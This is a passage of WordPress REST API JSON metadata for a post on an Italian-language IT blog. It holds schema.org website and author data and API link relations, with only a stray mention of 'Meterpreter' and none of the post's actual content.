Meterpreter"}]},{"@type":"WebSite","@id":"https:\/\/christeninformatica.ch\/#website","url":"https:\/\/christeninformatica.ch\/","name":"CHIT","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/christeninformatica.ch\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Person","@id":"https:\/\/christeninformatica.ch\/#\/schema\/person\/b0952e900860b424a6b0906f1d6a0a64","name":"chitblog","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/321ffb3802ecc0a2fc461c52e31fbbabb19873df19bfb793c8e64c6a0cc49313?s=96&d=identicon&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/321ffb3802ecc0a2fc461c52e31fbbabb19873df19bfb793c8e64c6a0cc49313?s=96&d=identicon&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/321ffb3802ecc0a2fc461c52e31fbbabb19873df19bfb793c8e64c6a0cc49313?s=96&d=identicon&r=g","caption":"chitblog"}}]}},"_links":{"self":[{"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/posts\/1855","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/comments?post=1855"}],"version-history":[{"count":0,"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/posts\/1855\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/media\/1817"}],"wp:attachment":[{"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/media?parent=1855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/categories?post=1855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/christeninformatica.ch\/it\/wp-json\/wp\/v2\/tags?post=1855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}